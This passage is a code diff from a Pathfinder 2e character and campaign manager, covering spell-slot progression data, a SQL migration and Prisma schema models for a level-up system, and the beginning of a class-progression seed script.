{ level: 8, repertoireIncrement: 1 },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 5, count: 3 } },
|
||||
{ level: 9, repertoireIncrement: 1 },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 5, count: 1 } },
|
||||
{ level: 10, repertoireIncrement: 1 },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 6, count: 3 } },
|
||||
{ level: 11, repertoireIncrement: 1 },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 6, count: 1 } },
|
||||
{ level: 12, repertoireIncrement: 1 },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 7, count: 3 } },
|
||||
{ level: 13, repertoireIncrement: 1 },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 7, count: 1 } },
|
||||
{ level: 14, repertoireIncrement: 1 },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 8, count: 3 } },
|
||||
{ level: 15, repertoireIncrement: 1 },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 8, count: 1 } },
|
||||
{ level: 16, repertoireIncrement: 1 },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 9, count: 3 } },
|
||||
{ level: 17, repertoireIncrement: 1 },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 9, count: 1 } },
|
||||
{ level: 18, repertoireIncrement: 1 },
|
||||
// L19 Mystery Conduit = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 10, count: 1 } },
|
||||
{ level: 19, repertoireIncrement: 1 },
|
||||
],
|
||||
|
||||
// === FOCUS-ONLY CASTER — CHAMPION ===
|
||||
// Champion casts Devotion Spells via a focus pool (1-3 focus points), NOT via spell slots.
|
||||
// Phase 1 records minimal entries — focus-spell mechanics are handled outside the slot
|
||||
// table and may grow into a Plan 04 Phase 2 focus-pool tracker. Champion remains
|
||||
// effectively non-caster from the slot-overlay perspective; choiceOptionsRef
|
||||
// 'champion-cause' (set by the seed script's L1_CHOICE_MAP) routes the L1 cause pick
|
||||
// through ClassFeatureOption.
|
||||
Champion: [],
|
||||
|
||||
// === NON-CASTERS — confirmed empty per design ===
|
||||
// These classes have no spell-slot, cantrip, or repertoire progression. Some (Alchemist,
|
||||
// Investigator, Ranger) have other resource pools (alchemical-bombs / clue-pool / hunt-prey)
|
||||
// tracked outside this overlay. Empty arrays are required because the seed script's
|
||||
// `(SPELL_SLOT_OVERLAY[className] || []).filter(...)` relies on key presence to avoid
|
||||
// missing-key bugs.
|
||||
Alchemist: [],
|
||||
Barbarian: [],
|
||||
Fighter: [],
|
||||
Investigator: [],
|
||||
Monk: [],
|
||||
Ranger: [],
|
||||
Rogue: [],
|
||||
Swashbuckler: [],
|
||||
};
|
||||
@@ -0,0 +1,90 @@
|
||||
-- AlterTable
|
||||
ALTER TABLE "Character" ADD COLUMN "freeArchetype" BOOLEAN NOT NULL DEFAULT false,
|
||||
ADD COLUMN "prereqViolations" JSONB;
|
||||
|
||||
-- CreateTable
|
||||
CREATE TABLE "LevelUpSession" (
|
||||
"id" TEXT NOT NULL,
|
||||
"characterId" TEXT NOT NULL,
|
||||
"targetLevel" INTEGER NOT NULL,
|
||||
"state" JSONB NOT NULL DEFAULT '{}',
|
||||
"committedAt" TIMESTAMP(3),
|
||||
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updatedAt" TIMESTAMP(3) NOT NULL,
|
||||
|
||||
CONSTRAINT "LevelUpSession_pkey" PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
-- CreateTable
|
||||
CREATE TABLE "LevelUpHistory" (
|
||||
"id" TEXT NOT NULL,
|
||||
"characterId" TEXT NOT NULL,
|
||||
"levelFrom" INTEGER NOT NULL,
|
||||
"levelTo" INTEGER NOT NULL,
|
||||
"snapshotBefore" JSONB NOT NULL,
|
||||
"choices" JSONB NOT NULL,
|
||||
"committedAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
|
||||
CONSTRAINT "LevelUpHistory_pkey" PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
-- CreateTable
|
||||
CREATE TABLE "ClassProgression" (
|
||||
"id" TEXT NOT NULL,
|
||||
"className" TEXT NOT NULL,
|
||||
"level" INTEGER NOT NULL,
|
||||
"grants" TEXT[],
|
||||
"proficiencyChanges" JSONB NOT NULL,
|
||||
"spellSlotIncrement" JSONB,
|
||||
"cantripIncrement" INTEGER,
|
||||
"repertoireIncrement" INTEGER,
|
||||
"choiceType" TEXT,
|
||||
"choiceOptionsRef" TEXT,
|
||||
|
||||
CONSTRAINT "ClassProgression_pkey" PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
-- CreateTable
|
||||
CREATE TABLE "ClassFeatureOption" (
|
||||
"id" TEXT NOT NULL,
|
||||
"optionsRef" TEXT NOT NULL,
|
||||
"optionKey" TEXT NOT NULL,
|
||||
"name" TEXT NOT NULL,
|
||||
"nameGerman" TEXT,
|
||||
"description" TEXT NOT NULL,
|
||||
"grants" TEXT[],
|
||||
"proficiencyChanges" JSONB,
|
||||
|
||||
CONSTRAINT "ClassFeatureOption_pkey" PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
-- CreateIndex
|
||||
CREATE INDEX "LevelUpSession_characterId_idx" ON "LevelUpSession"("characterId");
|
||||
|
||||
-- CreateIndex
|
||||
CREATE INDEX "LevelUpHistory_characterId_committedAt_idx" ON "LevelUpHistory"("characterId", "committedAt" DESC);
|
||||
|
||||
-- CreateIndex
|
||||
CREATE INDEX "ClassProgression_className_idx" ON "ClassProgression"("className");
|
||||
|
||||
-- CreateIndex
|
||||
CREATE UNIQUE INDEX "ClassProgression_className_level_key" ON "ClassProgression"("className", "level");
|
||||
|
||||
-- CreateIndex
|
||||
CREATE INDEX "ClassFeatureOption_optionsRef_idx" ON "ClassFeatureOption"("optionsRef");
|
||||
|
||||
-- CreateIndex
|
||||
CREATE UNIQUE INDEX "ClassFeatureOption_optionsRef_optionKey_key" ON "ClassFeatureOption"("optionsRef", "optionKey");
|
||||
|
||||
-- AddForeignKey
|
||||
ALTER TABLE "LevelUpSession" ADD CONSTRAINT "LevelUpSession_characterId_fkey" FOREIGN KEY ("characterId") REFERENCES "Character"("id") ON DELETE CASCADE ON UPDATE CASCADE;
|
||||
|
||||
-- AddForeignKey
|
||||
ALTER TABLE "LevelUpHistory" ADD CONSTRAINT "LevelUpHistory_characterId_fkey" FOREIGN KEY ("characterId") REFERENCES "Character"("id") ON DELETE CASCADE ON UPDATE CASCADE;
|
||||
|
||||
-- Partial unique index: enforce at most one open DRAFT per character.
|
||||
-- Prisma 7 cannot express partial indexes via @@unique; this raw SQL is required.
|
||||
-- See: .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md §Don't Hand-Roll.
|
||||
CREATE UNIQUE INDEX "LevelUpSession_characterId_open_unique"
|
||||
ON "LevelUpSession"("characterId")
|
||||
WHERE "committedAt" IS NULL;
|
||||
@@ -109,19 +109,19 @@ enum ResearchField {
|
||||
// ==========================================
|
||||
|
||||
model User {
|
||||
id String @id @default(uuid())
|
||||
username String @unique
|
||||
email String @unique
|
||||
passwordHash String
|
||||
role UserRole @default(PLAYER)
|
||||
avatarUrl String?
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
id String @id @default(uuid())
|
||||
username String @unique
|
||||
email String @unique
|
||||
passwordHash String
|
||||
role UserRole @default(PLAYER)
|
||||
avatarUrl String?
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
// Relations
|
||||
gmCampaigns Campaign[] @relation("CampaignGM")
|
||||
gmCampaigns Campaign[] @relation("CampaignGM")
|
||||
campaignMembers CampaignMember[]
|
||||
characters Character[] @relation("CharacterOwner")
|
||||
characters Character[] @relation("CharacterOwner")
|
||||
uploadedDocuments Document[]
|
||||
documentAccess DocumentAccess[]
|
||||
highlights Highlight[]
|
||||
@@ -143,14 +143,14 @@ model Campaign {
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
// Relations
|
||||
gm User @relation("CampaignGM", fields: [gmId], references: [id])
|
||||
members CampaignMember[]
|
||||
characters Character[]
|
||||
battleMaps BattleMap[]
|
||||
combatants Combatant[]
|
||||
battleSessions BattleSession[]
|
||||
documents Document[]
|
||||
notes Note[]
|
||||
gm User @relation("CampaignGM", fields: [gmId], references: [id])
|
||||
members CampaignMember[]
|
||||
characters Character[]
|
||||
battleMaps BattleMap[]
|
||||
combatants Combatant[]
|
||||
battleSessions BattleSession[]
|
||||
documents Document[]
|
||||
notes Note[]
|
||||
}
|
||||
|
||||
model CampaignMember {
|
||||
@@ -169,24 +169,24 @@ model CampaignMember {
|
||||
// ==========================================
|
||||
|
||||
model Character {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
ownerId String?
|
||||
name String
|
||||
type CharacterType @default(PC)
|
||||
level Int @default(1)
|
||||
avatarUrl String?
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
ownerId String?
|
||||
name String
|
||||
type CharacterType @default(PC)
|
||||
level Int @default(1)
|
||||
avatarUrl String?
|
||||
|
||||
// Core Stats
|
||||
hpCurrent Int
|
||||
hpMax Int
|
||||
hpTemp Int @default(0)
|
||||
hpCurrent Int
|
||||
hpMax Int
|
||||
hpTemp Int @default(0)
|
||||
|
||||
// Ancestry/Class/Background (References)
|
||||
ancestryId String?
|
||||
heritageId String?
|
||||
classId String?
|
||||
backgroundId String?
|
||||
ancestryId String?
|
||||
heritageId String?
|
||||
classId String?
|
||||
backgroundId String?
|
||||
|
||||
// Experience
|
||||
experiencePoints Int @default(0)
|
||||
@@ -197,26 +197,32 @@ model Character {
|
||||
// Pathbuilder Import Data (JSON blob for original import)
|
||||
pathbuilderData Json?
|
||||
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
// Relations
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
owner User? @relation("CharacterOwner", fields: [ownerId], references: [id])
|
||||
abilities CharacterAbility[]
|
||||
feats CharacterFeat[]
|
||||
skills CharacterSkill[]
|
||||
spells CharacterSpell[]
|
||||
items CharacterItem[]
|
||||
conditions CharacterCondition[]
|
||||
resources CharacterResource[]
|
||||
battleTokens BattleToken[]
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
owner User? @relation("CharacterOwner", fields: [ownerId], references: [id])
|
||||
abilities CharacterAbility[]
|
||||
feats CharacterFeat[]
|
||||
skills CharacterSkill[]
|
||||
spells CharacterSpell[]
|
||||
items CharacterItem[]
|
||||
conditions CharacterCondition[]
|
||||
resources CharacterResource[]
|
||||
battleTokens BattleToken[]
|
||||
documentAccess DocumentAccess[]
|
||||
|
||||
// Alchemy
|
||||
alchemyState CharacterAlchemyState?
|
||||
formulas CharacterFormula[]
|
||||
preparedItems CharacterPreparedItem[]
|
||||
alchemyState CharacterAlchemyState?
|
||||
formulas CharacterFormula[]
|
||||
preparedItems CharacterPreparedItem[]
|
||||
|
||||
// === Phase 1 additions ===
|
||||
freeArchetype Boolean @default(false) // D-08
|
||||
prereqViolations Json? // D-06
|
||||
levelUpSessions LevelUpSession[]
|
||||
levelUpHistories LevelUpHistory[]
|
||||
}
|
||||
|
||||
model CharacterAbility {
|
||||
@@ -233,10 +239,10 @@ model CharacterAbility {
|
||||
model CharacterFeat {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
featId String? // Reference to Feat table
|
||||
name String // English name
|
||||
nameGerman String? // German translation
|
||||
level Int // Level obtained
|
||||
featId String? // Reference to Feat table
|
||||
name String // English name
|
||||
nameGerman String? // German translation
|
||||
level Int // Level obtained
|
||||
source FeatSource
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
@@ -282,26 +288,26 @@ model CharacterItem {
|
||||
notes String?
|
||||
|
||||
// Player-editable: Alias/Nickname for the item
|
||||
alias String?
|
||||
alias String?
|
||||
|
||||
// GM-editable: Custom overrides for item properties
|
||||
customName String? // Override display name
|
||||
customDamage String? // Override damage dice (e.g. "2d6")
|
||||
customDamageType String? // Override damage type (e.g. "fire")
|
||||
customTraits String[] // Override/add traits
|
||||
customRange String? // Override range
|
||||
customHands String? // Override hands requirement
|
||||
customName String? // Override display name
|
||||
customDamage String? // Override damage dice (e.g. "2d6")
|
||||
customDamageType String? // Override damage type (e.g. "fire")
|
||||
customTraits String[] // Override/add traits
|
||||
customRange String? // Override range
|
||||
customHands String? // Override hands requirement
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
equipment Equipment? @relation(fields: [equipmentId], references: [id])
|
||||
}
|
||||
|
||||
model CharacterCondition {
|
||||
id String @id @default(uuid())
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
name String
|
||||
nameGerman String?
|
||||
value Int? // For valued conditions like Frightened 2
|
||||
value Int? // For valued conditions like Frightened 2
|
||||
duration String?
|
||||
source String?
|
||||
|
||||
@@ -325,14 +331,14 @@ model CharacterResource {
|
||||
// ==========================================
|
||||
|
||||
model CharacterAlchemyState {
|
||||
id String @id @default(uuid())
|
||||
characterId String @unique
|
||||
researchField ResearchField?
|
||||
versatileVialsCurrent Int @default(0)
|
||||
versatileVialsMax Int @default(0)
|
||||
advancedAlchemyBatch Int @default(0)
|
||||
advancedAlchemyMax Int @default(0)
|
||||
lastRestAt DateTime?
|
||||
id String @id @default(uuid())
|
||||
characterId String @unique
|
||||
researchField ResearchField?
|
||||
versatileVialsCurrent Int @default(0)
|
||||
versatileVialsMax Int @default(0)
|
||||
advancedAlchemyBatch Int @default(0)
|
||||
advancedAlchemyMax Int @default(0)
|
||||
lastRestAt DateTime?
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
}
|
||||
@@ -354,15 +360,15 @@ model CharacterFormula {
|
||||
}
|
||||
|
||||
model CharacterPreparedItem {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
equipmentId String
|
||||
name String
|
||||
nameGerman String?
|
||||
quantity Int @default(1)
|
||||
isQuickAlchemy Boolean @default(false)
|
||||
isInfused Boolean @default(true) // Infused items expire on rest, permanent items don't
|
||||
createdAt DateTime @default(now())
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
equipmentId String
|
||||
name String
|
||||
nameGerman String?
|
||||
quantity Int @default(1)
|
||||
isQuickAlchemy Boolean @default(false)
|
||||
isInfused Boolean @default(true) // Infused items expire on rest, permanent items don't
|
||||
createdAt DateTime @default(now())
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
equipment Equipment @relation(fields: [equipmentId], references: [id])
|
||||
@@ -390,40 +396,40 @@ model BattleMap {
|
||||
}
|
||||
|
||||
model Combatant {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
name String
|
||||
type CombatantType
|
||||
level Int
|
||||
hpMax Int
|
||||
ac Int
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
name String
|
||||
type CombatantType
|
||||
level Int
|
||||
hpMax Int
|
||||
ac Int
|
||||
|
||||
// Saves
|
||||
fortitude Int
|
||||
reflex Int
|
||||
will Int
|
||||
perception Int
|
||||
fortitude Int
|
||||
reflex Int
|
||||
will Int
|
||||
perception Int
|
||||
|
||||
// Speed
|
||||
speed Int @default(25)
|
||||
speed Int @default(25)
|
||||
|
||||
avatarUrl String?
|
||||
description String?
|
||||
createdAt DateTime @default(now())
|
||||
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
abilities CombatantAbility[]
|
||||
battleTokens BattleToken[]
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
abilities CombatantAbility[]
|
||||
battleTokens BattleToken[]
|
||||
}
|
||||
|
||||
model CombatantAbility {
|
||||
id String @id @default(uuid())
|
||||
combatantId String
|
||||
name String
|
||||
actionCost Int // 1, 2, 3, or 0 for free/reaction
|
||||
actionCost Int // 1, 2, 3, or 0 for free/reaction
|
||||
actionType ActionType
|
||||
description String
|
||||
damage String? // e.g. "2d6+4 slashing"
|
||||
damage String? // e.g. "2d6+4 slashing"
|
||||
traits String[]
|
||||
|
||||
combatant Combatant @relation(fields: [combatantId], references: [id], onDelete: Cascade)
|
||||
@@ -438,8 +444,8 @@ model BattleSession {
|
||||
roundNumber Int @default(0)
|
||||
createdAt DateTime @default(now())
|
||||
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
map BattleMap? @relation(fields: [mapId], references: [id])
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
map BattleMap? @relation(fields: [mapId], references: [id])
|
||||
tokens BattleToken[]
|
||||
}
|
||||
|
||||
@@ -474,7 +480,7 @@ model Document {
|
||||
category String?
|
||||
tags String[]
|
||||
filePath String
|
||||
fileType String // html, pdf
|
||||
fileType String // html, pdf
|
||||
uploadedBy String
|
||||
createdAt DateTime @default(now())
|
||||
|
||||
@@ -487,8 +493,8 @@ model Document {
|
||||
model DocumentAccess {
|
||||
id String @id @default(uuid())
|
||||
documentId String
|
||||
userId String? // NULL = all campaign members
|
||||
characterId String? // Access per character
|
||||
userId String? // NULL = all campaign members
|
||||
characterId String? // Access per character
|
||||
|
||||
document Document @relation(fields: [documentId], references: [id], onDelete: Cascade)
|
||||
user User? @relation(fields: [userId], references: [id])
|
||||
@@ -513,14 +519,14 @@ model Highlight {
|
||||
}
|
||||
|
||||
model Note {
|
||||
id String @id @default(uuid())
|
||||
userId String
|
||||
campaignId String
|
||||
title String
|
||||
content String // Markdown
|
||||
isShared Boolean @default(false)
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
id String @id @default(uuid())
|
||||
userId String
|
||||
campaignId String
|
||||
title String
|
||||
content String // Markdown
|
||||
isShared Boolean @default(false)
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
user User @relation(fields: [userId], references: [id])
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
@@ -542,32 +548,32 @@ model NoteShare {
|
||||
// ==========================================
|
||||
|
||||
model Feat {
|
||||
id String @id @default(uuid())
|
||||
name String @unique
|
||||
traits String[]
|
||||
summary String?
|
||||
description String? // Full feat description/benefit text
|
||||
actions String? // "1", "2", "3", "free", "reaction", null for passive
|
||||
url String?
|
||||
level Int? // Minimum level requirement
|
||||
sourceBook String?
|
||||
id String @id @default(uuid())
|
||||
name String @unique
|
||||
traits String[]
|
||||
summary String?
|
||||
description String? // Full feat description/benefit text
|
||||
actions String? // "1", "2", "3", "free", "reaction", null for passive
|
||||
url String?
|
||||
level Int? // Minimum level requirement
|
||||
sourceBook String?
|
||||
|
||||
// Feat classification
|
||||
featType String? // "General", "Skill", "Class", "Ancestry", "Archetype", "Heritage"
|
||||
rarity String? // "Common", "Uncommon", "Rare", "Unique"
|
||||
featType String? // "General", "Skill", "Class", "Ancestry", "Archetype", "Heritage"
|
||||
rarity String? // "Common", "Uncommon", "Rare", "Unique"
|
||||
|
||||
// Prerequisites
|
||||
prerequisites String? // Text description of prerequisites
|
||||
prerequisites String? // Text description of prerequisites
|
||||
|
||||
// For class/archetype feats
|
||||
className String? // "Fighter", "Wizard", etc.
|
||||
archetypeName String? // "Sentinel", "Medic", etc.
|
||||
className String? // "Fighter", "Wizard", etc.
|
||||
archetypeName String? // "Sentinel", "Medic", etc.
|
||||
|
||||
// For ancestry feats
|
||||
ancestryName String? // "Human", "Elf", etc.
|
||||
ancestryName String? // "Human", "Elf", etc.
|
||||
|
||||
// For skill feats
|
||||
skillName String? // "Acrobatics", "Athletics", etc.
|
||||
skillName String? // "Acrobatics", "Athletics", etc.
|
||||
|
||||
// Cached German translation
|
||||
nameGerman String?
|
||||
@@ -582,49 +588,49 @@ model Feat {
|
||||
}
|
||||
|
||||
model Equipment {
|
||||
id String @id @default(uuid())
|
||||
name String @unique
|
||||
id String @id @default(uuid())
|
||||
name String @unique
|
||||
traits String[]
|
||||
itemCategory String // "Weapons", "Armor", "Consumables", "Shields", etc.
|
||||
itemCategory String // "Weapons", "Armor", "Consumables", "Shields", etc.
|
||||
itemSubcategory String?
|
||||
bulk String? // "L" for light, "1", "2", etc.
|
||||
url String?
|
||||
summary String?
|
||||
level Int?
|
||||
price Int? // In CP
|
||||
price Int? // In CP
|
||||
|
||||
// Weapon-specific fields
|
||||
hands String?
|
||||
damage String? // "1d8 S", "1d6 P", etc.
|
||||
damageType String? // "S", "P", "B" (Slashing, Piercing, Bludgeoning)
|
||||
range String?
|
||||
reload String?
|
||||
weaponCategory String? // "Simple", "Martial", "Advanced", "Ammunition"
|
||||
weaponGroup String? // "Sword", "Axe", "Bow", etc.
|
||||
hands String?
|
||||
damage String? // "1d8 S", "1d6 P", etc.
|
||||
damageType String? // "S", "P", "B" (Slashing, Piercing, Bludgeoning)
|
||||
range String?
|
||||
reload String?
|
||||
weaponCategory String? // "Simple", "Martial", "Advanced", "Ammunition"
|
||||
weaponGroup String? // "Sword", "Axe", "Bow", etc.
|
||||
|
||||
// Armor-specific fields
|
||||
ac Int?
|
||||
dexCap Int?
|
||||
checkPenalty Int?
|
||||
speedPenalty Int?
|
||||
strength Int? // Strength requirement
|
||||
armorCategory String? // "Unarmored", "Light", "Medium", "Heavy"
|
||||
armorGroup String? // "Leather", "Chain", "Plate", etc.
|
||||
ac Int?
|
||||
dexCap Int?
|
||||
checkPenalty Int?
|
||||
speedPenalty Int?
|
||||
strength Int? // Strength requirement
|
||||
armorCategory String? // "Unarmored", "Light", "Medium", "Heavy"
|
||||
armorGroup String? // "Leather", "Chain", "Plate", etc.
|
||||
|
||||
// Shield-specific fields
|
||||
shieldHp Int?
|
||||
shieldHardness Int?
|
||||
shieldBt Int? // Broken Threshold
|
||||
shieldHp Int?
|
||||
shieldHardness Int?
|
||||
shieldBt Int? // Broken Threshold
|
||||
|
||||
// Consumable/Equipment-specific fields
|
||||
activation String? // "Cast A Spell", "[one-action]", etc.
|
||||
duration String?
|
||||
usage String?
|
||||
effect String? // Specific effect text for item variants (Lesser, Moderate, Greater, Major)
|
||||
activation String? // "Cast A Spell", "[one-action]", etc.
|
||||
duration String?
|
||||
usage String?
|
||||
effect String? // Specific effect text for item variants (Lesser, Moderate, Greater, Major)
|
||||
|
||||
characterItems CharacterItem[]
|
||||
formulas CharacterFormula[]
|
||||
preparedItems CharacterPreparedItem[]
|
||||
characterItems CharacterItem[]
|
||||
formulas CharacterFormula[]
|
||||
preparedItems CharacterPreparedItem[]
|
||||
}
|
||||
|
||||
model Spell {
|
||||
@@ -655,19 +661,83 @@ model Trait {
|
||||
// ==========================================
|
||||
|
||||
model Translation {
|
||||
id String @id @default(uuid())
|
||||
type TranslationType
|
||||
englishName String
|
||||
germanName String
|
||||
germanSummary String?
|
||||
germanDescription String?
|
||||
germanEffect String? // Translated effect text for alchemical items
|
||||
quality TranslationQuality @default(MEDIUM)
|
||||
translatedBy String @default("claude-api")
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
id String @id @default(uuid())
|
||||
type TranslationType
|
||||
englishName String
|
||||
germanName String
|
||||
germanSummary String?
|
||||
germanDescription String?
|
||||
germanEffect String? // Translated effect text for alchemical items
|
||||
quality TranslationQuality @default(MEDIUM)
|
||||
translatedBy String @default("claude-api")
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
@@unique([type, englishName])
|
||||
@@index([type])
|
||||
@@index([englishName])
|
||||
}
|
||||
|
||||
// ==========================================
|
||||
// LEVEL-UP SYSTEM (Phase 1)
|
||||
// ==========================================
|
||||
|
||||
model LevelUpSession {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
targetLevel Int
|
||||
state Json @default("{}")
|
||||
committedAt DateTime?
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
// Partial unique index "one open DRAFT per character" added in raw migration SQL —
|
||||
// Prisma 7 cannot emit partial indexes from schema (per RESEARCH.md §Don't Hand-Roll).
|
||||
|
||||
@@index([characterId])
|
||||
}
|
||||
|
||||
model LevelUpHistory {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
levelFrom Int
|
||||
levelTo Int
|
||||
snapshotBefore Json
|
||||
choices Json
|
||||
committedAt DateTime @default(now())
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@index([characterId, committedAt(sort: Desc)])
|
||||
}
|
||||
|
||||
model ClassProgression {
|
||||
id String @id @default(uuid())
|
||||
className String
|
||||
level Int
|
||||
grants String[]
|
||||
proficiencyChanges Json
|
||||
spellSlotIncrement Json?
|
||||
cantripIncrement Int?
|
||||
repertoireIncrement Int?
|
||||
choiceType String?
|
||||
choiceOptionsRef String?
|
||||
|
||||
@@unique([className, level])
|
||||
@@index([className])
|
||||
}
|
||||
|
||||
model ClassFeatureOption {
|
||||
id String @id @default(uuid())
|
||||
optionsRef String
|
||||
optionKey String
|
||||
name String
|
||||
nameGerman String?
|
||||
description String
|
||||
grants String[]
|
||||
proficiencyChanges Json?
|
||||
|
||||
@@unique([optionsRef, optionKey])
|
||||
@@index([optionsRef])
|
||||
}
|
||||
|
||||
338
server/prisma/seed-class-progression.ts
Normal file
338
server/prisma/seed-class-progression.ts
Normal file
@@ -0,0 +1,338 @@
|
||||
/**
|
||||
* Seed: ClassProgression + ClassFeatureOption from Foundry pf2e + hand-curated overlays.
|
||||
*
|
||||
* Sources:
|
||||
* - Foundry pf2e class JSONs at `server/prisma/data/foundry-pf2e/packs/classes/*.json`
|
||||
* (cloned manually by dev; see SEED-README.md).
|
||||
* - SPELL_SLOT_OVERLAY from `data/spell-slot-overlays.ts` (Pitfall #6 mitigation).
|
||||
* - CLASS_FEATURE_OPTIONS from `data/class-feature-options.ts` (D-19 choices).
|
||||
*
|
||||
* Idempotent — safe to re-run.
|
||||
*
|
||||
* Compound unique keys (generated by Prisma from Plan 01 schema):
|
||||
* - ClassProgression has `@@unique([className, level])` -> field name: `className_level`
|
||||
* - ClassFeatureOption has `@@unique([optionsRef, optionKey])` -> field name: `optionsRef_optionKey`
|
||||
* If Plan 01's `@@unique([...])` declarations are reordered, Prisma swaps the field names.
|
||||
* Verify Plan 01's schema field order before assuming. If the order changes, update the
|
||||
* findUnique calls below accordingly.
|
||||
*/
|
||||
|
||||
import 'dotenv/config';
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import { PrismaClient, Prisma } from '../src/generated/prisma/client.js';
|
||||
import { PrismaPg } from '@prisma/adapter-pg';
|
||||
import { SPELL_SLOT_OVERLAY, type SpellSlotOverlayEntry } from './data/spell-slot-overlays';
|
||||
import { CLASS_FEATURE_OPTIONS } from './data/class-feature-options';
|
||||
|
||||
const adapter = new PrismaPg({ connectionString: process.env.DATABASE_URL });
|
||||
const prisma = new PrismaClient({ adapter });
|
||||
|
||||
// Foundry pf2e v8 nests packs under a system subdirectory: `packs/pf2e/classes/`.
|
||||
// (RESEARCH §Pitfall 5: Foundry pf2e data shape may shift across major versions.
|
||||
// In v7 this was `packs/classes/`. SEED-README pins us to pf2e-8.0.3.)
|
||||
const FOUNDRY_CLASSES_DIR = path.join(
|
||||
__dirname,
|
||||
'data',
|
||||
'foundry-pf2e',
|
||||
'packs',
|
||||
'pf2e',
|
||||
'classes',
|
||||
);
|
||||
|
||||
// The 16 D-16 classes. Filename in Foundry = lowercase classname.
|
||||
const D16_CLASS_NAMES = [
|
||||
'Alchemist',
|
||||
'Barbarian',
|
||||
'Bard',
|
||||
'Champion',
|
||||
'Cleric',
|
||||
'Druid',
|
||||
'Fighter',
|
||||
'Investigator',
|
||||
'Monk',
|
||||
'Oracle',
|
||||
'Ranger',
|
||||
'Rogue',
|
||||
'Sorcerer',
|
||||
'Swashbuckler',
|
||||
'Witch',
|
||||
'Wizard',
|
||||
] as const;
|
||||
|
||||
// Map of (className → choiceType, choiceOptionsRef) for the L1 doctrine/school/etc. step.
|
||||
const L1_CHOICE_MAP: Record<string, { choiceType: string; choiceOptionsRef: string } | null> = {
|
||||
Cleric: { choiceType: 'doctrine', choiceOptionsRef: 'cleric-doctrine' },
|
||||
Wizard: { choiceType: 'school', choiceOptionsRef: 'wizard-school' },
|
||||
Champion: { choiceType: 'cause', choiceOptionsRef: 'champion-cause' },
|
||||
Druid: { choiceType: 'order', choiceOptionsRef: 'druid-order' },
|
||||
Sorcerer: { choiceType: 'bloodline', choiceOptionsRef: 'sorcerer-bloodline' },
|
||||
Bard: { choiceType: 'muse', choiceOptionsRef: 'bard-muse' },
|
||||
Barbarian: { choiceType: 'instinct', choiceOptionsRef: 'barbarian-instinct' },
|
||||
Witch: { choiceType: 'patron', choiceOptionsRef: 'witch-patron' },
|
||||
Oracle: { choiceType: 'mystery', choiceOptionsRef: 'oracle-mystery' },
|
||||
Investigator: { choiceType: 'methodology', choiceOptionsRef: 'investigator-methodology' },
|
||||
